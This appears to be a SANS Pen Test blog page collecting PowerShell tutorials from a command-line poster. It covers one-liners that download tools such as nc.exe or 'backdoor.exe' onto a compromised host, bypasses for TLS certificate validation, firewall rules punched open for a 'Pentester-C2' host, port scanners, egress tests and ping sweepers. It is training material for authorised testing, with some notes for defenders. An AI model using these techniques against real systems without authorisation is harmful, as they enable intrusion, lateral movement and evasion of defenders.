SANS Poster – White Board of Awesome Command Line Kung Fu (PDF Download)

 

by: SANS Pen Test Team

Imagine you are sitting at your desk and come across a great command line tip that will assist you in your career as an information security professional, so you jot the tip down on a note, post-it, or scrap sheet of paper and tape it to your white board… now imagine you do this all the time until your white board is completely full of useful tips you’ve found and can use daily.

That is the concept behind the SANS Pen Test Poster: White Board of Awesome Command Line Kung-Fu created by the SANS Pen Test Instructors. Each tip was submitted by the Pen Test Instructors and curated by SANS Fellow, Ed Skoudis.

We are giving you a complete white board full of tips you can use to become a better InfoSec professional.

Now it is available for you to download.

Download PDF – PENT-PSTR-WHITEBOARD-V3-0118_web.pdf

PENT-PSTR-WHITEBOARD-V3-0118_web_small

PENT-PSTR-WHITEBOARD-V3-0118_web_small_back

 

Additional Educational Posts based on the Poster:

Python:

“White Board” – Python – Python Debugger
“White Board” – Python – Python Reverse Shell!
“White Board” – Python – Pythonic Web Server
“White Board” – Python – Raw Shell -> Terminal
“White Board” – Python – Pythonic Web Client

Bash:

“White Board” – Bash – Useful IPv6 Pivot
“White Board” – Bash – Encrypted Exfil Channel!
“White Board” – Bash – What’s My Public IP Address?
“White Board” – Bash – Bash’s Built-In Netcat Client
“White Board” – Bash – Check Service Every Second
“White Board” – Bash – Make Output Easier to Read
“White Board” – Bash – Website Cloner
“White Board” – Bash – Sudo… Make Me a Sandwich
“White Board” – Bash – Find Juicy Stuff in File System

CMD.exe:

“White Board” – CMD.exe – C:\> netsh interface
“White Board” – CMD.exe – C:\> wmic process

PowerShell:

“White Board” – PowerShell – Add a Firewall Rule
“White Board” – PowerShell – Built-in Port Scanner!
“White Board” – PowerShell – Get Firewall Rules
“White Board” – PowerShell – One-Line Web Client
“White Board” – PowerShell – Ping Sweeper!
“White Board” – PowerShell – Find Juicy Stuff in the File System

 

Desktop Wallpapers based on Poster:

Bash, PowerShell, Python…

Python_1280x1024(example)

 

SANS Pen Test Training:

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Pen Test Poster: “White Board” – PowerShell – One-Line Web Client

Board Elements_clean_One-Line Web Client

By Matthew Toussain, Grant Curell

 

Introduction

Mobility is a critical component of the attack. The ability to be adaptable, while transporting your tactics and tools into a remote environment, is a key differentiator between inexperienced and senior operators. The criticality is an aftereffect of frequency, one of the most common tasks in pentesting involves that rather simple, but ubiquitous, problem: Moving files from a machine you own to another that you… sort of own. It’s a work in progress. To that effect having a game plan for transporting your tools into any environment no matter the configuration or security controls, will allow you to focus your efforts on the harder nuts to crack while leaving the skiddies to eat your dust!

oneline_webclient_01

File transfer frustrations in contested environments happen to all of us. The first time I forgot to turn on binary transfer mode in FTP, I could not figure out why the executable I transferred refused to run. The result? I spun my wheels endlessly on a simple problem (If binary transfer mode is not set – the file becomes corrupted).

Proficiency with various file transfer methods is one of the most useful skills to keep in a pentester’s back pocket. This proves even more true during Red Team operations where any number of data transfer methods could be the key to maintaining persistent access, evading an active blue team, or even getting domain admin. On a recent engagement, we gained GUI access to a remote target by tunneling a remote desktop session, but struggled to get our toolkit onto the environment uncorrupted. We solved the problem by *drum roll please* …downloading it with Internet Explorer. It worked… Okay then! While this cringe-worthy instance of GUI-driver paradise did in fact save the day, this post discusses a more efficient and powerful option: PowerShell.

oneline_webclient_02At long last Windows users can wget! (Almost… technically it’s Invoke-WebRequest aliased with the name wget, but close enough.)

 

Methods Covered in this Section

Win 7 PS WebClient:

(New-Object System.Net.WebClient).DownloadFile(“http://10.0.0.10/nc.exe”,”nc.exe”)

Win 8 and later PS Invoke-WebRequest (wget):

wget "http://10.0.0.10/nc.exe" -outfile "nc.exe"

Display PowerShell Version:

Get-Host

$PSVersionTable.PSVersion

ServicePointManager $true:

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

Disable-NetSSLValidation

Invoke-SelfSignedWebRequest (External Project):

Invoke-SelfSignedWebRequest https://www.my.af.mil/ "-outfile index.htm"

wget-ss https://spectruminfosec.com/index.php

 

Moving files onto a Windows environment was traditionally a more difficult task to accomplish due to its lack of straightforward file transfer tools. No netcat, wget, curl, ssh, or python. But with PowerShell, all of that capability is readily available at our fingertips. Yes, even wget.

An important distinction to be aware of are the differing versions of PowerShell active in the wild today. With older languages like perl, bash, and even python, much of the code-base has remained fairly consistent year-to-year. While PowerShell has undergone a macroevolution with each iteration of the Windows operating system since its inception. More on that later.

For now we’ll start with the webclient that works on all versions of PowerShell.

 

PowerShell Webclient:
(New-Object System.Net.WebClient).DownloadFile(“http://10.0.0.10/nc.exe”,”nc.exe”)

oneline_webclient_03

Because the above command is available on every version of Powershell, it is the preferable option for cross platform scripting engagements where there is uncertainty as to the Powershell version.

 

Command Breakdown

(New-Object System.Net.WebClient).DownloadFile(“http://10.0.0.10/nc.exe”,”nc.exe”)

1. (New-Object System.Net.WebClient) - Creates an instance of the WebClient class. 
The WebClient object has all the capabilities required to act like a GUI web client.
2. DownloadFile(“ - Call the DownloadFile method in the WebClient class.
This method allows WebClient to download something from a remote server
3. http://10.0.0.10 - Download the file via the HTTP protocol from IP address 10.0.0.10
4. /nc.exe” - Download the file nc.exe
5. ,”nc.exe”) - This is the destination file

 

PowerShell Invoke-WebRequest:
wget "http://10.0.0.10/nc.exe" -outfile "nc.exe"

oneline_webclient_04

On newer versions of PowerShell, the Invoke-WebRequest cmdlet is at our disposal. Furthermore, it is aliased to and supports command syntax similar to the wget program found on many Unix systems.

 

Command Breakdown

wget "http://10.0.0.10/backdoor.exe" -outfile "backdoor.exe"

1. wget - Short for web get. Wget is a tool for downloading files via HTTP, HTTPS, and FTP.
2. “10.0.0.10 - Download the file via the HTTP protocol from IP address 10.0.0.10
3. /nc.exe” - Download the file backdoor.exe
4. -outfile “backdoor.exe” - The output file name for the downloaded file.

 

The Invoke-WebRequest cmdlet was introduced in Windows PowerShell starting with version 3.0. To determine what version is running on your environment run the Get-Host or $PSVersionTable.PSVersion commands. Referencing the PowerShell version table is more accurate than results returned by Get-Host, but either is generally sufficient.

 

Display PowerShell Version:
Get-Host
or
$PSVersionTable.PSVersion

 

Windows 7 – PS 2.0

oneline_webclient_05

Windows 10 – PS 5.1

oneline_webclient_06

Beginning in October of 2009 with Windows 7 and Windows Server 2008 R2, PowerShell was distributed and installed as part of the default operating system build. Unfortunately, Windows 7 was released with PowerShell version 2.0 while many robust PowerShell cmdlets like Invoke-WebRequest (wget) did not find their way into the PowerShell ecosystem until version 3.0. In 2012 with the release of Windows 8 and Server 2012, PowerShell 3.0 became part of the standard operating system build. As of this writing, modern Windows 10 is distributed with PowerShell version 5.0 by default.

For the purposes of most penetration testing with PowerShell, the important distinction is between versions 2.0 and 3.0+. Many command line techniques in version 2.0 require direct instantiation of .NET constructors by way of the New-Object cmdlet as seen in the Windows 7 variant of the WebClient. In PowerShell 3.0+, many of these functions have been created and integrated as standalone cmdlets that are much more straightforward to use.

 

Conclusion

Web traffic is prolific on almost all networked environments. Downloading files over HTTP provides a great way to move traffic without being noticed. Looking for strange HTTP traffic is like hunting for the proverbial needle in the haystack. That said, consider the following: A phenomenal tactic for defenders looking for out-of-place HTTP traffic is to examine the user-agent string.

oneline_webclient_07

While the traffic itself doesn’t stand out (aside from the not-so-subtle filename), the user-agent string “WindowsPowerShell/5.1…” is a definite eye-opener unless users frequently download files with Windows PowerShell.

Sometimes defenders can snag an easy win by filtering traffic on these strings and sifting out the things that don’t match. Shout out to Seth Misenar and Chris Crowley who regularly teach tactics like these to members of the DoD (including this author) through the SANS RaD-X (Rapid Experience Builder) Course. If you are one of my DoD brethren, I can’t recommend RaD-X enough.

 

Bonus: PowerShell over HTTPS

Having taken a dive into traffic inspection on the blue team side, how can red elevate their technique to evade? One idea that may come to mind is encryption. SSL/TLS is a typical part of modern web traffic. Unfortunately, when using the above techniques against a self-signed or invalid certificate, we don’t get the most positive results:

oneline_webclient_08

*ERROR*

WebClient.DownloadFile():

Exception calling "DownloadFile" with "2" argument(s): "The underlying connection was closed: Could not establish trust relationship for the SSL/TLS secure channel."

Invoke-WebRequest:

The underlying connection was closed: Could not establish trust relationship for the SSL/TLS secure channel.

PowerShell automatically “protects” you against CERT_AUTHORITY_INVALID errors. As a pentester this can be problematic because we might frequently be setting up and operating from domains/redirectors that do not have an officially signed certificate. Bypassing this restriction can be hit or miss depending on the environment you find yourself in, but some combination of the following tricks generally works out.

For the webclient variant this bypass is typically quite trivial:

ServicePointManager $true:
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

This technique disables SSL certificate validation through the System.Net.ServicePointManager endpoint by manually configuring the ServerCertificateValidationCallback to return $true, and allows us to connect to domains with self-signed certificates using WebClient.DownloadFile().

Unfortunately, the ServerCertificateValidationCallback will not work for asynchronous callbacks. Callbacks like Invoke-WebRequest and Invoke-RestMethod operate on their own task threads in order to provide other threads appropriate runspace for simultaneous execution. As a result, upon configuring ServerCertificateValidationCallback we end up with a different, new error:

The underlying connection was closed: An unexpected error occurred on a send.

Getting around this is a bit more difficult. Two general options exist:

1. Install the certificate manually
2. Disable certificate validation in the underlying .NET

 

As security professionals option #2 is an obvious choice!

Disable-NetSSLValidation:

Disable-NetSSLValidation

Download Code: Disable-NetSSLValidation.PDF

 

The above code snippet configures internal .NET settings to disable SSL certificate validation via useUnsafeHeaderParsing. Unfortunately, while this does work in some cases it is generally pretty ineffective. Drat!

Given that we have now been forced to take on the more security-minded approach, consider the following cmdlet:

Invoke-SelfSignedWebRequest:

Invoke-SelfSignedWebRequest_00

Download Code: Invoke-SelfSignedWebRequest.PDF

 

The Invoke-SelfSignedWebRequest cmdlet is a wrapper for Invoke-WebRequest that connects to a target host downloads the X.509 Certificate and loads it into the current user’s certificate store.

oneline_webclient_09

It then passes the web request through to Invoke-WebRequest, removes the certificate from the store and resets ServerCertificateValidationCallback in order to leave a clean state. It’s nice when the work around does the work for you right!?!

All code for these invalid SSL certificate bypass techniques and functions can be found on github as part of the SelfSignedWebRequest Repository: https://github.com/0sm0s1z/Invoke-SelfSignedWebRequest

You may also find the Disable-SSLValidation cmdlet useful. It disables SSL certificate validation by using reflection to implement the System.Net.ICertificatePolicy class. This cmdlet is quite old however and your mileage may vary.

oneline_webclient_10

Happy Hunting!

Matthew Toussain
https://twitter.com/0sm0s1z

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Pen Test Poster: “White Board” – PowerShell – Get Firewall Rules

Board Elements_clean_Get Firewall Rules

By Matthew Toussain, Grant Curell
Updated – 3/14/2017

 

Concealed within his fortress, the Lord of Mordor sees all…  And with PowerShell we can too!

 

Microsoft has truly given system administrators and computer hackers alike a gift: The gift of vision. Take for instance, PowerShell output, format, and export functions. Most scripting languages are built to be lean, efficient, and capable. PowerShell manages all three while natively supporting a host of features to retrieve data and walk through it, step by step.

get_firewall_rules_v2_01

Methods Covered in this Section

Get-NetFirewallRule display rules:

Get-NetFirewallRule -all

Get-NetFirewallRule basic formatting (list of names):

Get-NetFirewallRule -all | Format-List -Property Name

Get-NetFirewallRule in grid view:

Get-NetFirewallRule -all | Out-GridView

Get-NetFirewallRule export to csv:

Get-NetFirewallRule -all | Export-Csv <file_path.csv>

Firewall rules via comObjects:

$(New-object -comObject HNetCfg.FwPolicy2).rules | Format-Table -Property name, protocol, localports

 

PowerShell cmdlets are built around the concept of objects. To display a list of all firewall rule objects run the command below.

 

Get-NetFirewallRule display rules:
Get-NetFirewallRule -allget_firewall_rules_v2_02

 

The robust formatting capabilities of PowerShell would not be possible without its object oriented design. For example, because we are interacting with firewall rule objects we do not have to parse the results of our command line-by-line. In bash, we would have to use some combination of the cut, grep, sort, and uniq commands to have even the slightest  chance at transforming the above data into the list below.

 

Get-NetFirewallRule basic formatting (list of names):
Get-NetFirewallRule -all | Format-List -Property Name
get_firewall_rules_v2_03

 

The Format-List cmdlet is the most basic method to control and format object information with PowerShell. Where the first command spewed lines of data, Format-List (limiting by the Name property) is able to present a list of all firewall rules by name.

 

A more robust output format is Out-GridView this sends command output into a specialized grid view window where it is displayed in an interactive table:

 

Get-NetFirewallRule in grid view:
Get-NetFirewallRule -all | Out-GridViewget_firewall_rules_v2_04

 

Grid view can be exceptionally handy as part of a clickable script allowing for quick spreadsheet viewing of large datasets without ever delving into the command line. As a result, it proves particularly useful for technical experts to make their results accessible to less specialized analysts. Its direct interactivity and built-in search filter only make it more useful.

 

Even more extensibility is possible by leveraging the export set of cmdlets. PowerShell natively supports several export mechanisms including ConvertTo-Html and Export-Csv.

 

Get-NetFirewallRule export to csv:
Get-NetFirewallRule -all | Export-csv <file_path.csv>

get_firewall_rules_v2_05

 

Bonus Command – Firewall Rules on Windows 7

There is one major downside to the NetFirewall series of cmdlets, they are not supported on Windows 7 and older systems even when their PowerShell version has been upgraded past version 3.0. Fortunately, we can still arrive at similar functionality within PowerShell via a clever little hack. Using the Microsoft Component Object Model (COM) to leverage comObjects allows us to use a set of features introduced in 1993 to empower backwards compatibility within our PowerShell scripts. Behold!

 

Firewall rules via comObjects:
$(New-object -comObject HNetCfg.FwPolicy2).rules | Format-Table -Property name, protocol, localportsget_firewall_rules_v2_06

 

Conclusion

PowerShell is magical. Consider for a moment what just went on under the hood as you executed these ultra-simple one liners. Controlling, managing, and formatting information is an inherent facet of PowerShell. As such, its application is not limited to viewing the Windows firewall setup. Let the situation and your imagination drive its usage! Remember: No matter how much data you are presented with, through PowerShell you are the Dark Lord, and YOU. SEE.. ALL

Matthew Toussain
https://twitter.com/0sm0s1z

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Pen Test Poster: “White Board” – PowerShell – Built-in Port Scanner!

Board Elements_clean_Built-in Port Scanner!

By Matthew Toussain, Grant Curell

 

Introduction

NMAP is an ideal choice for port scanning, but sometimes it may not be a feasible option. Other times a quick check to see if a port is open might be all the detail needed. In these scenarios PowerShell really shines. Let’s examine methods to use PowerShell for basic port scanning functionality.

builtinportscanner_01

 

Methods Covered in this Section

PowerShell port scanner:

1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.100",$_)) "Port $_ is open!"} 2>$null

Test-Netconnection scan a range of IPs for a single port:

foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.1.$ip}

PS IP range & port range scanner:

1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.$a",$_)) "Port $_ is open!"} 2>$null}

PS test egress filtering:

1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("allports.exposed",$_)) "Port $_ is open!" } 2>$null

 

To create a PowerShell port scanner in one line we need to combine three distinct components. Creating a range of objects, looping through each object, and outputting information for each to the screen. In the case of PowerShell we can make use of its object oriented nature to facilitate this process.

 

PowerShell port scanner:
1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.100",$_)) "Port $_ is open!"} 2>$null

builtinportscanner_02

 

Command Breakdown

1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.100",$_)) "Port $_ is open!"} 2>$null

1. 1..1024 - Creates a range of variables between 1..1024
2. | - The pipe operator passes objects into the loop
3. % - The % operator in PowerShell is an alias for foreach-object, and is used to start a loop. 
The loop executes the content between {} in sequence
4. echo - Print the following output to the screen
5. new-object Net.Sockets.TcpClient - Instantiates an instance of the .Net TcpClient class, allowing us to make socket connections to TCP ports
6. .Connect(“10.0.0.100”,$_)) - Call the Connect function on the TcpClient class with arguments 10.0.0.100 and port $_. $_ is a variable that means current object. 
The current object relates to number (1..1024) that the loop is currently on.
7. “Port $_ is open!”) - This prints Port # is open! when the program finds an open port.
8. 2>$null - This tells PowerShell not to display any errors encountered

 

The range above scans the 1024 low number ports, but it can easily be adjusted ie (22..53), (8000..9000), etc.

Another method available from within PowerShell is the Test-NetConnection command which can dump extended useful information and is very similar:

 

Test-Netconnection scan a range of IPs for a single port:
foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.1.$ip}

builtinportscanner_03

 

A major downside to the Test-NetConnection option is that it was not introduced until PowerShell version 4.0.

 

Command Breakdown

foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.1.$ip}

1. foreach ($ip in 1..20) {} - Loop through numbers 1 to 20
2. Test-NetConnection - Test-NetConnection is a utility for testing different types of network connectivity.
3. -Port 80 - Check the availability of port 80
4. -InformationLevel “Detailed” - Provide detailed output information
5. 192.168.1.$ip - Attempt to connect to port 80 against the listed IP address. 
The $ip variable loops from 1-20 in this example.

 

Building a scanner that iterates through systems and ports is possible as well:

 

PS IP range & port range scanner:
1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.$a",$_)) "Port $_ is open!"} 2>$null}

builtinportscanner_04

 

This version of the command will scan IP addresses 10.0.0.1-20 and ports 1-1024. Be advised, it may take a while to complete. A more efficient alternative might be to specify the ports to look for manually. Like this:

 

PS IP range & port range scanner v2:
1..20 | % { $a = $_; write-host "------"; write-host "10.0.0.$a"; 22,53,80,445 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.$a",$_)) "Port $_ is open!"} 2>$null}

builtinportscanner_05

 

Bonus Command – Testing Egress Filtering

Many secure environments enable egress filtering controls to limit outbound protocol access to necessary services. This is one of the reasons it is advantageous to leverage HTTP/HTTPS/DNS channels where possible however, when in need of identifying alternative outbound access we can use PowerShell internally to evaluate egress filters on the network firewall.

 

PS test egress filtering:
1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("allports.exposed",$_)) "Port $_ is open" } 2>$null

builtinportscanner_06

 

For more information on PowerShell egress testing Beau Bullock with Black Hills Information Security has a detailed write-up here: http://www.blackhillsinfosec.com/?p=4811

 

Conclusion

PowerShell is a robust tool that can accomplish nearly anything when unleash on a Windows environment. Tinker with new and unique combinations of the commands discussed here and feel free to include your improvements in the comments below.

Matthew Toussain
https://twitter.com/0sm0s1z

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Pen Test Poster: “White Board” – PowerShell – Add a Firewall Rule

Board Elements_clean_Add a Firewall Rule

By Matthew Toussain, Grant Curell

In many lab and training environments firewalls are disabled to facilitate the learning experience. As part of live pentests however, bypassing and manipulating firewalls is all in a day’s work. The Windows firewall is the most common packet filtering hurdle encountered today. While it is not necessarily the most robust solution, it can be tricky to manipulate without direct access to the GUI. Fortunately, PowerShell supports a potent set of integrations that we can leverage.

 

powershell_addfirewallrule_01

 

Methods Covered in this Section

Set-NetFirewallProfile to Disable/Enable the Windows Firewall:

Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False

Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True

New-NetFirewallRule to add allow a specific IP address to connect:

New-NetFirewallRule -Action Allow -DisplayName Pentester-C2 -RemoteAddress

New-NetFirewallRule to allow connections on a specific port:

new-netfirewallrule -action allow -localport 80 -direction inbound -protocol tcp -displayname pentester-c2

 

Scenario: You successfully compromise an internal host. Awesome! In order to move laterally, your next step is to serve up your toolkit inside the target network. This reduces the risk of being caught by keeping all nefarious traffic internal to the target environment, and allows for direct access and invocation by way of protocols that might be filtered from an egress perspective (often the case with SMB traffic, PORT: 445). Unfortunately, your network sports that pesky Windows firewall. You could turn it off, but that isn’t exactly incognito:

Set-NetFirewallProfile to Disable/Enable the Windows Firewall:

Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False

powershell_addfirewallrule_02

 

Hope the users weren’t watching when you did that! Furthermore, Windows is fairly aggressive about reminding users that their firewall is disabled. Cutting a more precise hole through the firewall is definitely the preferred method here.

 

Turning Meterpreter into PowerShell

Let’s backtrack for a moment. In your initial compromise did you end up with a PowerShell session, or a Meterpreter session? Starting with the Metasploit meterpreter and somehow transitioning might feel like turning water into wine, but with the Metasploit payload_inject post-exploitation module miracles are possible.

post/windows/manage/payload_inject

powershell_addfirewallrule_03

 

Alternately, PowerShell is also available as a payload option directly. That said, it is often most convenient from a tradecraft perspective to begin with meterpreter and leverage the payload_inject module as needed.

 

Ripping a hole in the space-time continuum… (aka the firewall)

Now that we have a PowerShell session on the target we just need to rip a hole in the space-time (firewall) continuum to pop out on the other side of the Windows firewall! Naturally, there is a PowerShell cmdlet built just for this. Consider the following:

We can identify a packet filter on our target host by scanning with nmap:

powershell_addfirewallrule_04

 

The STATE “filtered” in nmap typically indicates that a firewall dropped the probes sent out by the scanner. This corresponds with the typical TCP connection behavioral differences between an operating system and packet filters. When an attempt is made to connect to a port on which an operating system is not listening, the underlying OS is kind enough to respond with a TCP reset (RST).

This tells us that nothing is here and we can therefore move on. Firewalls, on the other hand, tend to drop packets that have no business being there in the first place. From a scanning perspective this slows us down, but when it comes to identifying live services it is a good indicator that either the host does not exist, or that there is a firewall filtering and dropping inbound traffic. This gives us three general states in Nmap: open (unobstructed access), closed (received a RST, nothing here), filtered (I wonder what’s behind door number 1?). Let’s open the door shall we?

New-NetFirewallRule to add allow a specific IP address to connect:

New-NetFirewallRule -Action Allow -DisplayName Pentester-C2 -RemoteAddress 192.168.1.100

powershell_addfirewallrule_05

 

Running Nmap to test the connection again we can observe a new set of results:

powershell_addfirewallrule_06

 

Command Breakdown

New-NetFirewallRule -Action Allow -DisplayName Pentester-C2 -RemoteAddress 192.168.1.100

1. New-NetFirewallRule - PowerShell cmdlet for creating new firewall rules
2. -Action Allow - Either block or allow. The default is allow
3. -DisplayName Pentester-C2 - The name of the rule when viewed in the GUI or via the command line
4. -RemoteAddress 192.168.1.100 - The address to permit inbound connections from

 

How about something bigger?

The above command is all finesse. It limits access to a trusted host only, but what if we want to allow everyone to connect to the hole we just punched through the firewall?

New-NetFirewallRule to allow connections on a specific port.

new-netfirewallrule -action allow -localport 80 -direction inbound -protocol tcp -displayname pentester-c2

powershell_addfirewallrule_07
This cmdlet is pretty extensive and virtually anything imaginable is possible. The official documentation is available here.

Command Breakdown

New-NetFirewallRule -action allow -localport 80 -direction inbound -protocol tcp -displayname pentester-c2

1. -localport 80 - The local port to apply the rule against
2. -direction inbound - The direction to apply the rule to. This is either inbound or outbound.
3. -protocol tcp - When specifying a TCP/UDP port, the user must also specify which of the two protocols to apply the rule against. 
The value could also be a protocol number 0-255 or another protocol name (ex: ICMPv4).

 

Conclusion

For interested readers, there are also Get-NetFirewallRule, Set-FirewallRule, Enable-NetFirewallRule, Show-NetFirewallRule, and Remove-NetFirewallRule commands. With this set of tools, complete and granular control of the Windows firewall is available all through PowerShell.

Matthew Toussain
https://twitter.com/0sm0s1z

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Pen Test Poster: “White Board” – PowerShell – Ping Sweeper!

Board Elements_clean_Ping Sweeper!

By Matthew Toussain, Grant Curell

 

Introduction

You may be shocked to find how often you don’t have the right tool for the job. Fortunately, with a hammer everything looks like a nail, and with PowerShell… Well we’ll just have to make do. This post will dive into a number of techniques geared towards hammering out network enumeration with PowerShell for those situations when Nmap is not available. Once on network, the first step attackers need to make before they can move laterally is to determine what exactly is out there. While importing tools might be an option, depending on your level of access, operating environment, and goals, PowerShell is an inherent component of Windows that we can use to operate more efficiently and covertly.

pingsweeper_01

 

Methods Covered in this Section

PS ping sweeper:

1..255 | % {echo “192.168.1.$_”; ping -n 1 -w 100 192.168.1.$_} | Select-String ttl

PS command metrics:

Measure-Command {}

PS parallel ping sweeper:

workflow ParallelSweep { foreach -parallel -throttlelimit 4 ($i in 1..255) {ping -n 1 -w 100 10.0.0.$i}}; ParallelSweep | Select-String ttl

PS multi-subnet ping sweeper with OS Detection:

0..10 | % { $a = $_; 1..255 | % { $b = $_; ping -n 1 -w 10 "10.0.$a.$b" | select-string TTL | % { if ($_ -match "ms") { $ttl = $_.line.split('=')[2] -as [int]; if ($ttl -lt 65) { $os = "Linux" } ElseIf ($ttl -gt 64 -And $ttl -lt 129) { $os = "Windows" } else { $os = "Cisco"}; write-host "10.0.$a.$b OS: $os"; echo "10.0.$a.$b" >> scan_results.txt }}} }

PS test egress filtering:

1..1024 | %{echo ((new-object Net.Sockets.TcpClient).Connect("allports.exposed",$_)) "Port $_ is open" } 2>$null

 

Because of object pipelining in PowerShell, implementing a simple ping sweep utility is quick and easy.

PS ping sweeper:

1..255 | % {echo “192.168.1.$_”; ping -n 1 -w 100 192.168.1.$_} | Select-String ttl

pingsweeper_02

 

This command attempts to ping each IP address in the loop in sequence. It filters out IPs which do not respond with the | Select-String cmdlet thereby only displaying lines that include the text “TTL”.

 

Command Breakdown

1..255 | % {echo “192.168.1.$_”; ping -n 1 -w 100 192.168.1.$_} | Select-String ttl

1. 1..255 - Produce a list of numbers from 1 to 255
2. | - Pass each number as an object into the loop
3. % - The % operator in PowerShell is an alias for foreach-object, and is used to start a loop. 
The loop executes the content between {} in sequence
4. echo “192.168.1.$_”; - Prints out the IP address. $_ is a variable that means current object. 
The current object relates to number (1..255) that the loop is currently on.
5. ping - Packet internet groper utility tests for ICMP connectivity between two nodes.
6. -n 1 - The number of pings to send manual set to stop after 1
7. -w 100 - Number of milliseconds to wait before timeout. 
This may need to be adjusted depending on the latency of the target environment
8. 192.168.1.$_ - The IP address to ping
9. | Select-String ttl - Pipe all output from the loop into Select-String.
Filters all lines not having ttl in them.

 

Using a feature added into PowerShell versions 3.0 and newer, the workflow, we can parallelize the ping sweep in order to make it run substantially faster.

PS command metrics:
Measure-Command {}

pingsweeper_03

By way of the parallelized execution demonstrated below, the ping sweeper is able to enumerate the network an increased rate. While limited to 4 parallel threads, we achieved results that were 62% faster than single-threaded. Spawning additional threads could increase enumeration speed even farther.

PS parallel ping sweeper:
workflow ParallelSweep { foreach -parallel -throttlelimit 4 ($i in 1..255) {ping -n 1 -w 100 10.0.0.$i}}; ParallelSweep | Select-String ttl

pingsweeper_04

 

That one line of Powershell does the following:

1. Declares a workflow called ParallelSweep which executes a ping sweep limited to 4 simultaneous threads
2. Sweeps through a CIDR /24 range of addresses
3. Calls the workflow and filters out any response which does not have TTL in it

 

Command Breakdown

